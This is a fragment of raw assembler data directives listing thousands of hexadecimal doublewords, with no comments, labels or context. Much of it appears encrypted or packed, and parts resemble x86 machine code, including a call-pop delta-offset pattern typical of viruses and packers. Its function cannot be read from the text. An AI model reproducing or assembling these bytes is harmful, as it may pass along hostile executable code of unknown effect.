		dd 0B0DD3B30h, 0CE8C565Dh, 0B868CEFFh, 930AAF23h, 9F7F42Dh
		dd 87F5D102h, 250D7ECDh, 83CE71Bh, 0E89E8AE3h, 14h, 0F65C21DEh
		dd 4F0E420Fh, 2FD68162h, 0FEB068F6h, 3682FC8h, 58A0Fh
		dd 81660000h, 5B3DCAEEh, 2C25B589h, 0C3810603h,	7195h
		dd 0FFFCFF33h, 8B0F1F34h, 6, 19618531h,	0F580603h, 686h
		dd 1D9D8900h, 81060320h, 0AD127C0h, 6830F49h, 1000000h
		dd 330C5B5h, 0BAC08106h, 0F3612F4h, 680h, 0BD952300h, 8106031Ch
		dd 0C180A7F0h, 4FD98131h, 89162C8Eh, 85893B04h,	60319ADh
		dd 81CEB70Fh, 2D169DEFh, 71BD294Fh, 8106031Ch, 2D1699C7h
		dd 81D38B4Fh, 0FF8F14FFh, 88850FFFh, 29FFFFFFh,	3203585h
		dd 3EE85306h, 32565DB1h, 666AC8Fh, 3256558Fh, 3256ABB1h
		dd 18C8D5B1h, 4348EAE5h, 325675E4h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325257B6h
		dd 3247ABABh, 324CD5BCh, 3256EBE6h, 325677F3h, 0F27DB8F3h
		dd 3242B4E3h, 87BAAEB1h, 38EECFBh, 5FD23CA7h, 5BA6E613h
		dd 174A655Fh, 359DE4Bh,	3256B658h, 608BE9B1h, 0AC8F8E92h
		dd 98C31BCEh, 0BB0EF12Ah, 684DF185h, 3EBFBAE9h,	565675B1h
		dd 0E2C5387Ch, 0CEB99378h, 0A15D7434h, 0DB5DA018h, 3256ABBDh
		dd 31E468A5h, 6DA85331h, 495C001Dh, 6A0CDB2Ch, 325AB4E1h
		dd 1F12AEB1h, 1BE6A4D3h, 0D78AE41Fh, 6EC5BE0Bh,	3256EC58h
		dd 0F68123B1h, 0AF25581Ch, 626752D0h, 3D37CEE3h, 68373780h
		dd 0A30EF1E9h, 0ACD7F24h, 0D6219CA0h, 624577FCh, 4E39F4F8h
		dd 68DD07B4h, 5267A1E9h, 52A1DCD7h, 6A0CCAD0h, 3598DE9h
		dd 5336B8E1h, 3ABF44BEh, 7256BAB1h, 5E49E3C8h, 686D6484h
		dd 6A0E0DE9h, 6A0CC00Bh, 76DF8DEBh, 3EBFEE95h, 465675B1h
		dd 0D2B5A82Ch, 3E690328h, 6A0DC4E4h, 325657A5h,	297CBE7Dh
		dd 0C5A04409h, 0A1D427D5h, 0DD98BC61h, 398C3F4Dh, 39BFC12Ch
		dd 0D556AEB1h, 0B1646A25h, 0ED2892B1h, 0DCD7209Dh, 281F2A9h
		dd 32567358h, 0F681ECB1h, 0AF25BF1Ch, 320ECFD0h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h
		dd 325675B1h, 0D1BC3BEBh, 0BF5054FBh, 3A2CBF34h, 0BD4DEB7h
		dd 0BF50A2F9h, 3B964433h, 0FD463B7h, 0DA507CF9h, 3256B3FFh
		dd 32562659h, 1BD469B1h, 32505EF9h, 6056ABB1h, 29F75077h
		dd 5A00ECB2h, 0AEFECDE3h, 16270F4Eh, 0B7DB5BB2h, 3450D2E9h
		dd 0B7DF874Eh, 34558808h, 323ED1DBh, 5A56EAA1h,	325578F1h
		dd 0E2A9BADBh, 469656EBh, 1BD42782h, 0BB505EF9h, 3B1E8633h
		dd 3F166CB7h
		dd 0CADDEAB2h, 98A5B582h, 5A52D0E3h, 32564DB1h,	3252AED9h
		dd 0CD563DB1h, 31751223h, 0B0DF8FB7h, 345FA2CCh, 1BD3FED0h
		dd 0F150B3F9h, 67D49AD1h, 3250ADBAh, 0F55617B1h, 31527A33h
		dd 3246D5B7h, 52958BB1h, 7A7FCF3Ah, 0DD5BCB8h, 0B17529B1h
		dd 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h, 3346AD76h
		dd 0D95675B1h, 22117D43h, 32565DB2h, 0F137475Ah, 52BADCE4h
		dd 3256AB59h, 0D8D78FB1h, 345FA169h, 7AD7C73Ah,	77DDBCB8h
		dd 0B150D4B9h, 3B1E2F33h, 0FB3753B7h, 5256AF73h, 3256D559h
		dd 0D8D7B0B1h, 345F3E4Dh, 7A2B083Ah, 806D5BB8h,	345FE630h
		dd 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h, 30BDACB2h
		dd 7115639Ah, 1D1FD83Ah, 0BFDDA8B2h, 34554AC0h,	3B24738Ah
		dd 37210C8Ah, 0D9522C32h, 46994E78h, 43EB33B9h,	0D9505EACh
		dd 5295CF06h, 32565759h, 0D8D7F1B1h, 345F99E5h,	7A2B503Ah
		dd 32EF73B8h, 156BAB0h,	0B9FDAE71h, 3B1ED333h, 0B3D4DEB7h
		dd 5350A2F9h, 32BEB572h, 6856EAB1h, 7E289F30h, 0B790BCB8h
		dd 34554610h, 5F6FC6E7h, 87A983AEh, 34558FC0h, 4E0E503Ch
		dd 0E2A9ECB7h, 323E25E3h, 5856BA31h, 1BE4A2B1h,	0CD50A7F9h
		dd 5A0C0F61h, 32562BB1h, 80A9D5DBh, 345FA2CCh, 0F137A54Eh
		dd 52BA31E4h, 32565D59h, 0D8D7F4B1h, 345F1B7Dh,	0DA5EDE3Ah
		dd 3256D729h, 0BC415E4h, 6F507CF9h, 475ACF8Ah, 30D0B55Fh
		dd 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh, 3256EA59h
		dd 0D8D72FB1h, 345FF7B1h, 0B95E283Ah, 6401BECCh, 32566059h
		dd 4696A0B1h, 67AE5E90h, 7A6F784Eh, 90B73B8h, 2022B6C4h
		dd 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch, 4FDF015Ah
		dd 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h, 0B1BA25E4h
		dd 6401AF75h, 7791F8E0h, 3256D549h, 5BD42DB1h, 33507CF9h
		dd 0B956BAB1h, 0B93055C4h, 1BEC25AFh, 0B9505EF9h, 0E95DA3EEh
		dd 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h, 2CDD3B5Bh
		dd 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh,	0C9D6EAB1h
		dd 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh, 3DB5AC31h
		dd 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h, 54A65D31h
		dd 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h, 32D351BEh
		dd 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h, 0CD693C5h
		dd 0B26E239Ch, 122C38Fh, 7A3F574Eh, 0B930ECB8h,	0CAB1F5AFh
		dd 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h, 21226B30h
		dd 0A0A980D1h, 345FA288h, 0CE13FCECh, 0CE2B39D0h, 0B93528B0h
		dd 315DFB0Bh, 0B0DD07B7h, 345FE3D8h, 6A66E988h,	88DDBAC3h
		dd 34557160h, 5BD431E1h, 0B5054F9h, 4D0E9E8Dh, 0F546BC8Ch
		dd 325453F4h, 35BDD5B1h, 33AEAF76h, 0B95675B1h,	3B1E930Bh
		dd 3949D6B7h, 949DA6Ah,	0B959226Fh, 4FD5A7ECh, 3122D549h
		dd 0BBAEB7B2h, 0F5D571EEh, 1B451A5h, 3296B471h,	0B930AEB1h
		dd 3E2BDCAFh, 46BD5031h, 0C2B555BBh, 46261131h,	0F4649EA7h
		dd 759153B6h, 32565DB0h, 0B19125B1h, 0A5BF5271h, 5456ABB1h
		dd 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h, 32565FF6h
		dd 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h, 3D224521h, 47C6D431h
		dd 4CD713BFh, 46C62A4Eh, 0B952B6B3h, 0BF094576h, 3B1ED233h
		dd 0CD00FBB7h, 3B1EE823h, 4696E1B7h, 0BF9EFEBBh, 3B1E3F03h
		dd 6446B6B7h, 0CD03603Ah, 3B1E6E23h, 0FC7DF6B7h, 0B1080C46h
		dd 475712CCh, 981FC5A1h, 0B75902D7h, 8459F6D7h,	0D9FDAFF7h
		dd 0CA2BD4AAh, 5445DEB3h, 549FDE09h, 3DEE8C1Ah,	3DFD1335h
		dd 9957FC07h, 96A55F5Ah, 6B0D693Ah, 0F09F08EFh,	0B903ABB9h
		dd 32BEB55Dh, 6856EAB1h, 7D089F30h, 77DDBCB8h, 3D4D4B9h
		dd 5350A7F9h, 32529578h, 0B1BA20E4h, 0DA362D75h, 3256EAB1h
		dd 4DBCF4EBh, 0F550B3FEh, 3256A5F4h, 7791AEB1h,	3256574Dh
		dd 549698B1h, 0B091CB3Ah, 345FA2D8h, 325675B0h,	0A2AD3BD7h
		dd 0B2562821h, 0B659464Ah, 325656B9h, 0DBAD2BF1h, 32A851BEh
		dd 0B216EAB1h, 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h
		dd 0D7D25831h, 3156ABB1h, 3155BC33h, 0C9D6AAB7h, 0FCD27A53h
		dd 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h, 88D2A452h
		dd 0B256D5B1h, 0C9D61A52h, 87D27AC1h, 5456BAB1h, 0D1D6433Ah
		dd 8AAD2E49h, 0CD610C5h, 0B214DFB4h, 0F22F88Fh,	463ED431h
		dd 0B0A93589h, 345FF2D8h, 0B248D6D7h, 0B3305656h, 46BED64Ah
		dd 2CDDCD95h, 54A63231h, 0F2D71130h, 673662C5h,	7A6F284Eh
		dd 0BB0B5BB8h, 0B13752F4h, 3D57ABCCh, 32578334h, 67EC5EB1h
		dd 6250E9BAh, 7A3FF73Ah, 0E6FBCB8h, 0B0590581h,	3256AFA0h
		dd 3687ED3Ah, 0B906ADB2h, 3B1EBC33h, 26AD3B7h, 0C8D97AE9h
		dd 0B956BAB1h, 3B1E700Bh, 1FD42DB7h, 26505EF9h,	75DF9C38h
		dd 0B0DD85A1h, 345FA2D8h, 6A66693Ah, 0DB5EE538h, 32565D64h
		dd 30AEEB76h, 0D95657B1h, 0CA136CB6h, 3256D5B0h, 7A7B503Ah
		dd 0B0D573B8h, 345FF29Ch, 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h
		dd 3B1EC233h, 3256D7B7h, 0B15301B1h, 6D2B7749h,	32AEC732h
		dd 845946C5h, 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h, 1F5E3EB4h
		dd 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh, 345F15D8h, 6965AA3Ah
		dd 32565718h, 3142DE31h, 37965677h, 7A3F68B2h, 0BB1E73B8h
		dd 75DFB2F6h, 0C500B6BDh, 0C5908569h, 3796D469h, 7A3F29B2h
		dd 0BB1ED3B8h, 75DFE2F6h, 1689EBDh, 33103071h, 1323DD19h
		dd 0F2D568B2h, 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h, 345E7389h
		dd 31579631h, 3A113372h, 0D95A1A38h, 178E59A5h,	3256574Eh
		dd 0EAA16D9Ah, 0BB541532h, 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h
		dd 52AA9932h, 3256AE59h, 0D8D70DB1h, 345FFA21h,	7A7F6F3Ah
		dd 0FB65ECB8h, 3D564A32h, 32567835h, 0CD51D6B1h, 47A9A2C4h
		dd 41BE07B9h, 4156ABB0h, 269156B4h, 77DF085Ah, 3E238A4Dh
		dd 0CD5ECF4Eh, 330AB586h, 0B059AEB1h, 32565726h, 0BAAEE3Ah
		dd 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h, 3A22BAB5h, 325A2232h
		dd 3CBDACC5h, 0CDA9A809h, 3253124Eh, 99A5D5B1h,	4DD5295Ah
		dd 3D2270A1h, 3446C532h, 0B9174CC4h, 6DDDAAF6h,	0B915BCBDh
		dd 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h, 3A094EBDh,	0B904AFC4h
		dd 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh, 0B9443EEBh
		dd 6DDDEEF6h, 36095EBDh, 31535132h, 3177083Bh, 22292DB7h
		dd 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh,	325675B4h
		dd 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h,	0DA365775h
		dd 3256D5B1h, 49BC6BEBh, 0B9507CE3h, 3B1E930Bh,	0B19F6EB7h
		dd 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh,	32DE02E1h
		dd 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h
		dd 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h,	3629394Dh
		dd 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh, 3256D008h
		dd 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh, 75DDEFA0h
		dd 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah, 3E09FEB5h
		dd 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh
		dd 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h
		dd 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h,	0D9AFE95Ah
		dd 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h, 0B30C57B1h
		dd 3B05FA5Bh, 19FE6B7h
		dd 0CE0B636Ah, 7A7FCF3Ah, 0DD5BCB8h, 0B13229B1h, 3723518Eh
		dd 0D9429032h, 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h
		dd 0F5D546F4h, 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h
		dd 0B952923Ah, 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah
		dd 6D7DA2EEh, 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h
		dd 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah
		dd 6107FB72h, 3256D559h, 0D8D7B0B1h, 345F266Dh,	7A17203Ch
		dd 56EE5BB8h, 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah
		dd 4097D1B5h, 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah
		dd 345F9404h, 3ABD784Eh, 0F48D4F3Ch, 0E1A9ECB8h, 0F10E2CEAh
		dd 0DABA31E4h, 32565DB1h, 19BC2FEBh, 52505EE5h,	7A17113Ch
		dd 77DDD3B8h, 0B95163B9h, 75DF79F4h, 221331B5h,	0B95A1A38h
		dd 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 314D7434h, 283EADB7h
		dd 0CDFE62C2h, 3172CB04h, 6AD3D0B7h, 0CD50A8CDh, 0B8DB0561h
		dd 345FE3DCh, 68862AE0h, 7A3B683Ch, 855973B8h, 0EADDB6F1h
		dd 686752E3h, 0B0DF6DB2h, 34555B68h, 5251C3D0h,	0E8h, 0EA815A00h
		dd 609549Ch, 0D9828B52h, 0B906030Ch, 41C64E6Dh,	55AE1F7h
		dd 3039h, 0FFFFFF25h, 0D982897Fh, 5A06030Ch, 5251C359h
		dd 0E8h, 0EA815A00h, 60954CCh, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h
		dd 0C3595AC2h, 0C08BC08Bh, 4ADD858Dh, 0D0FF0609h, 8DC18B66h
		dd 9549585h, 0A1858906h, 8D060316h, 954C585h, 45858906h
		dd 0B8060321h, 0
		dd 840FC00Bh, 47h, 1BA185C6h, 68560603h, 0A9C530DFh, 2471B5FFh
		dd 858D0603h, 6067C58h,	8D50D0FFh, 304798Dh, 46A5106h
		dd 100068h, 3DB5FF00h, 0FF060313h, 3DBD8BD0h, 3060313h
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 30F9D9Dh, 0B038B06h
		dd 5840FC0h, 8B000000h,	4438900h, 234CF6B9h, 658D8D00h
		dd 0E8060956h, 14h, 5D03326Ch, 0A374C237h, 9AA47139h, 9393B073h
		dd 6E242E04h, 28A0Fh, 5E500000h, 7E95Eh, 4B790000h, 86A6648Eh
		dd 0A58D89D4h, 8B060320h, 32CE9BDh, 6585C706h, 0A806031Ah
		dd 6A000058h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0FAA0C350h, 0C713BE62h, 3007185h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0E08815Ch, 0BC1D6995h, 12E849h, 817C0000h
		dd 7D143A28h, 0C083A89Eh, 0F8307459h, 0B2855732h, 0B459D8Bh
		dd 0FF5F0603h, 3254DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0FCBBBD25h, 0FF142DA4h
		dd 3171D95h, 6A42B006h,	0A595FF00h, 8B060323h, 0A67DEBC0h
		dd 0A909BC5Dh, 0C0776CB2h, 8BFE04Dh, 7A84256Ch,	5204378Fh
		dd 7269A05Fh, 7EF57E05h, 4A0E5765h, 0D57A0A24h,	0A6D195A6h
		dd 0D61E61A9h, 0E68545Eh, 0E5EBD435h, 478F0A23h, 5D4EF3Eh
		dd 6E163460h, 730EFEFEh, 2BCB7564h, 0B345A1B7h,	0D4404A42h
		dd 7D16E5B4h, 0BB79D298h, 6C8967C5h, 0D1725DB4h, 0AAC36345h
		dd 1A7776A2h, 0FD693555h, 27B4CE93h, 0FD0FB7F9h, 0E07DEEA9h
		dd 1FE852CFh, 0FE8h, 9BB40200h,	1AE6CBFAh, 2522305Eh, 0CAA36F3Ah
		dd 2E799D89h, 0E95E0603h, 0Dh, 5E7E2CF3h, 70C2F4Ch, 0FAA2864Ch
		dd 58C681ECh, 0E9000066h, 0Fh, 0D5F1F6B6h, 0D24E766Bh
		dd 0F860199Fh, 0BA621142h, 44A4EA15h, 2F4DC281h, 8D0FBB5Bh
		dd 4, 819B866h,	0CF810E8Bh, 7887F825h, 0B8DEE981h, 8B0F4385h
		dd 5, 64DB8166h, 41C18130h, 6634BE52h, 0B0BEF081h, 0CD91E981h
		dd 8D8901EFh, 6030C6Dh,	8D9D8951h, 8F06032Eh, 0D3BB6606h
		dd 0DDEE813Fh, 0E928A320h, 9, 0A7AA96BAh, 0C203C98Ch, 0D9C68148h
		dd 0E928A320h, 14h, 88017E79h, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h
		dd 1A76EF70h, 89850F4Ah, 8BFFFFFFh, 32C1585h, 0EE806h
		dd 0AF250000h, 67C2B03Ch, 0CDB2B0CCh, 0E2E3207Bh, 59D98B66h
		dd 6820Fh, 0B58B0000h, 60316E1h, 73FCC181h, 0DE90000h
		dd 0DB000000h, 4AFF6AE6h, 93F545FBh, 86B97F86h,	9D89C033h
		dd 60320C9h, 660834FFh,	0BAEAE381h, 0DE85Ah, 0D2680000h
		dd 10E40EE9h, 0C0C7033Ch, 5F05927Dh, 0C0DBF281h, 850148ABh
		dd 60314B5h, 7E94EA81h,	56563390h, 5F5BDF8Bh, 3B4EC281h
		dd 0CE971EAh, 95000000h, 4CF16F78h, 0E2F58A48h,	527380EEh
		dd 26019D8Bh, 48F0603h,	0FE9F501h, 0E6000000h, 0C00FE4DBh
		dd 102FA0F5h, 0E8D85BD1h, 0E883C2E5h, 0F88104h,	0FFFFF8Dh
		dd 1685h, 0C1B58B00h, 0E9060313h, 3Eh, 5648683Eh, 34004281h
		dd 0E8500176h, 9, 0A045BC39h, 8AA2361Fh, 14E9C7h, 30170000h
		dd 0D69FE965h, 1586192Dh, 0C9806460h, 0E25B53FFh, 0E95B3A64h
		dd 0FFFFFF44h, 41353DE4h, 10E8213Eh, 0C5000000h, 9D8E2C7h
		dd 4F53F3FDh, 86B5EE51h, 0F686FB9h, 665FDEB7h, 0C781D88Bh
		dd 5979h, 0FC9B58Bh, 0B90603h, 0BA000000h, 710D690h, 663934FFh
		dd 0C3A7D681h, 10E858h,	11B70000h, 0FBD8941Dh, 0E15A6A33h
		dd 0BCD6FC3Bh, 8A0F13D8h, 5, 41D04ABBh,	0E8815E4Ah, 46BA846Bh
		dd 81DBBF0Fh, 3BFF65C0h, 0D6816644h, 0E8811A00h, 5822BAF2h
		dd 5968BE66h, 0F048F50h, 16E1B533h, 8D010603h, 6032E55h
		dd 2A8EE981h, 0BE66662Ch, 0C1819B28h, 662C2A8Ah, 81D0B70Fh
		dd 0FFA754F9h, 14850FFFh, 0F000000h, 89h, 22E900h, 37120000h
		dd 39F19231h, 0FDEE6C7h, 68Bh, 99852900h, 0E906032Ch, 0FFFFFF64h
		dd 0E5DA614Dh, 4253D8FCh, 0F09D08EBh, 55F8h, 94E90000h
		dd 6800000Bh, 6095B11h,	0FAED8EE9h, 5C4168FFh, 84E90609h
		dd 68FFFAEDh, 6095E77h,	0FAED7AE9h, 5F9068FFh, 70E90609h
		dd 68FFFAEDh, 6096124h,	0FAED66E9h, 62DE68FFh, 5CE90609h
		dd 68FFFAEDh, 60963C4h,	0FAED52E9h, 0B8E247FFh,	0FC8291CEh
		dd 3C5AD512h, 7D191552h, 0C2CA5693h, 0F428F1D8h, 39766024h
		dd 7CB9A3EBh, 0BBF8E2B2h, 0BD3E2872h, 8E3D8DCEh, 869DA18Bh
		dd 0C4D657C5h, 0F03A5106h, 3278C7A4h, 48EBA274h, 45872AE5h
		dd 702E6CBFh, 34BFB9Eh,	0C3422C46h, 71B2AFBDh, 0AD97D43Ah
		dd 33F2B062h, 0A191CA93h, 0B7E0CC40h, 0A142EE5h, 381Ah
		dd 0CF156700h, 3CC30401h, 8AD980Ah, 0CCE39856h,	0A97B397Fh
		dd 0C45F6BACh, 0C97BA191h, 0C3814512h, 0DE52A191h, 0B47D5AF2h
		dd 444626AAh, 64368A41h, 990A1470h, 0BFh, 0C4D657E6h, 0DDA17106h
		dd 0F9A38A1Fh, 0B02E1FFCh, 0B952BEA0h, 894751DCh, 0C77C00B7h
		dd 0C3E351EAh, 100D4912h, 9489FBCFh, 762DDFA7h,	56405AD3h
		dd 23A11CF9h, 19AF1E13h, 28FF9562h, 0CD60A794h,	89A4E1CBh
		dd 747A510Fh, 3B286966h, 0D1AD9739h, 4C2D25Ch, 1DDBA36Fh
		dd 2D17314Bh, 9D9AA0AEh, 96BA295Ch, 787527A7h, 220AD161h
		dd 316E5872h, 0AB189DE1h, 85E528EAh, 96B7611h, 0C1680000h
		dd 63B0EDD7h, 35F6331Dh, 0EC407D67h, 0B989C6B0h, 75240BF5h
		dd 0A9931B27h, 0ECD6DE6Ch, 37217DAFh, 7F6933FAh, 0FCCE0FFEh
		dd 0DEA18B8Bh, 203706C7h, 34D78E0Eh, 4650DDE4h,	2805422Ch
		dd 1599846Eh, 0CD0401CFh, 0CA6475B6h, 203A0CCAh, 0CD99062h
		dd 0AD9809F3h, 20AAEB22h, 0BAA191C4h, 0CA0B08h,	0DAA191C4h
		dd 2BDD7128h, 5237512Eh, 0B0A8B5A9h, 2A5872B3h,	0D082A191h
		dd 3E09519h, 8F9DDA2Bh,	6466A700h, 76A191D2h, 26F3AAC4h
		dd 0A191D1A0h, 0D18F1723h, 4EE1F03Ch, 0A6C09250h, 564210E8h
		dd 7460D4A1h, 142C794Bh, 102AE0Ah, 57FB0000h, 0EAC7C4D6h
		dd 0B3B34041h, 73F7AE99h, 8C4A52DEh, 943DC7CDh,	39598A7h
		dd 4751DC19h, 6FBDD489h, 458B7027h, 66437A77h, 82B75345h
		dd 8EA07D25h, 0C77E500Eh, 97C769FAh, 0D25D74ADh, 7D3406C4h
		dd 0CE4D37E9h, 7CBDBA80h, 0A79744F8h, 0EC122A07h, 0C08CC584h
		dd 0C6C37509h, 1E1B63AFh, 81600F41h, 80ACBE74h,	8957FA14h
		dd 2826FBB1h, 7DBA6A21h, 0F564E9ADh, 0C7E5284Ch, 83BB853h
		dd 91980000h, 53E01D07h, 526634Dh, 0BC70AD97h, 69B9F6E0h
		dd 45543B25h, 0D9C3CB57h, 1C068E9Ch, 67514DDFh,	0AF99032Ah
		dd 0CCFE3F2Eh, 0EA18B8Ah, 3736F7h, 94E70BBFh, 2C70C0A7h
		dd 52F5AC5Eh, 672FFBC6h, 726634Dh, 83415BD2h, 0E73D8DCEh
		dd 0EB9DA794h, 0DDBAB7D1h, 0D31493FCh, 0A7943EF7h, 238E31E3h
		dd 417B1E0Fh, 59EDB3FFh, 248131E8h, 791EACEDh, 81ADA794h
		dd 0B7855715h, 0F2B0F442h, 0FE4F0620h, 6C4D657h, 0A4F03A51h
		dd 0B9E34AEDh, 119572CFh, 0CB3183CDh, 4290752Ch, 31487F7Ch
		dd 1CE9A0FEh, 0AD97296Fh, 0E87D3BEDh, 9B2F7045h, 30A190E3h
		dd 21D3A1FFh, 4DE01D07h, 19CE8D4Bh, 528D707h, 121B937Fh
		dd 6E2C6AC5h, 3B98829Ch
		dd 10D4D85Eh, 0EDBF7D03h, 1A3A1F4Ah, 2B6DC063h,	9819AE6Dh
		dd 80AC1A4Ah, 6EC15614h, 7CBD7230h, 1A4A984Eh, 0ECBADA8Ch
		dd 0E4814B00h, 0B7767DCDh, 3B5527E5h, 80F8E484h, 0D7EEEBADh
		dd 0DB8B4248h, 0BE5FA17Eh, 62058997h, 1ED5C0DAh, 2AE8B27Bh
		dd 0CDFD3E75h, 0DE1A4A11h, 4A122D9Dh, 2DFBAD1Ah, 0CCF7C47Bh
		dd 0AE1A4A11h, 854586BDh, 551A4A11h, 327AC6A3h,	4BEBA274h
		dd 5446E75Fh, 96002D6Ah, 0EDF301D8h, 4549D9F0h,	0F98ACB8Eh
		dd 53204D34h, 4D4A52DEh, 46EFBE0Ch, 506A1C14h, 0D399E766h
		dd 0DBA95D6h, 0E4FB1A4Ah, 0BC8E4C48h, 0C2BF7105h, 0D2804A8Bh
		dd 0A85A0E43h, 0A1B86DF1h, 89560D91h, 0E43D33Eh, 35F3BB87h
		dd 500E8EA0h, 80352101h, 8E3F1CB3h, 1A1D00DFh, 0D5C16118h
		dd 5C5063Dh, 0D50E43B9h, 46186C23h, 49D6241h, 99575FEDh
		dd 0D2C410C7h, 11000003h, 0D2099A71h, 94E73991h, 38EFA1A7h
		dd 423F0D53h, 98026601h, 0F1FCAEADh, 0A09D3ACCh, 0A0CE922h
		dd 450B7CC5h, 646A4F06h, 1F185956h, 662686B2h, 68DCEE2Fh
		dd 4CFE1A80h, 524F0195h, 741DEC3Bh, 48C3E62Ah, 14E6A4BEh
		dd 0FC02D95Dh, 6EB0F1EEh, 14208706h, 172E6562h,	0F3C5830Bh
		dd 294993Ch, 4852DB18h,	3BA898C3h, 0DA81C7Ah, 605h, 57415BCEh
		dd 9D870D1Ah, 0E7D1CF60h, 281282AAh, 6D575FEBh,	0B9899386h
		dd 40CE0BF5h, 1B15523Ch, 0D954917Bh, 6554D5BFh,	8B88A624h
		dd 5C1D34A1h, 0BBF0037h, 0CFA794E7h, 7381661Dh,	0C959706Dh
		dd 0E729A1E2h, 0FFB1A794h, 2A6B2EE5h, 0AD980961h, 765495CCh
		dd 64A191C3h, 5674B5B2h, 84A191C4h, 0D5871BD2h,	0F1AB8217h
		dd 1804E433h, 4D4A105Eh, 94E67F0Ch, 412BDDA7h, 0B16F2904h
		dd 0C987111Ch, 3273AA47h, 9B8EA098h, 39D99042h,	7B58D54Dh
		dd 0E2CCE6ACh, 0FDBC6E85h, 8EA10EBCh, 1ACC9Bh, 0CD8B0B23h
		dd 1EF044FBh, 5310175Dh, 2B1h, 1ECF15A0h, 94E6EDDDh, 213BEDA7h
		dd 92210D24h, 94E67951h, 95AF61A7h, 682676B8h, 0E51CDF96h
		dd 84431208h, 0DA912F96h, 9DFC5A0Dh, 0C8AE8BADh, 0BA93AD8h
		dd 0A759EDA4h, 0FF8793AAh, 4081B815h, 0A18BC68Ah, 44E79E50h
		dd 33F2B0F4h, 0A18BC692h, 3397D80Fh, 0A7A18BC7h, 929B3EF5h
		dd 51CA8308h, 5ED2EF28h, 4ECC3h, 5842E700h, 9CE2316Eh
		dd 0DCBA75B2h, 1D79B5F2h, 622AF633h, 94889178h,	0D9160084h
